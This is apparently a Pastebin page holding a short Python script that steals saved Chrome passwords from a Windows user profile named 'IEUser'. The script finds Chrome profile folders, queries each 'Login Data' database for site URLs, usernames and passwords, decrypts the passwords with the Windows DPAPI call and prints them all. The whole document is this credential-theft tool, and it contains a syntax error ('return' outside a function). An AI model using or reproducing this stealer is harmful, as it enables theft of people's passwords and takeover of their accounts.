Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python3
- import base64
- import glob
- import os
- import sqlite3
- import win32crypt
- response = ''
- target_user = 'IEUser'
- chrome_path = os.path.join(r'C:\Users', target_user, r'AppData\Local\Google\Chrome\User Data')
- if not os.path.exists(chrome_path):
- return 'Chrome directory not found'
- profile_dirs = glob.glob(chrome_path + r'\*Profile*')
- profile_dirs.append(os.path.join(chrome_path, 'Default'))
- for profile_dir in profile_dirs:
- login_file = os.path.join(profile_dir, 'Login Data')
- if os.path.exists(login_file):
- with sqlite3.connect(login_file) as con:
- cursor = con.cursor()
- try:
- cursor.execute('select origin_url,username_value,password_value from logins;')
- for user in cursor.fetchall():
- response += 'Website: {}\n'.format(user[0])
- response += 'User: {}\n'.format(user[1])
- response += 'Password: {}\n\n'.format(win32crypt.CryptUnprotectData(user[2], None, None, None, 0))
- except sqlite3.OperationalError:
- response += 'Database is locked: {}\n'.format(login_file)
- print(response)
Add Comment
Please, Sign In to add comment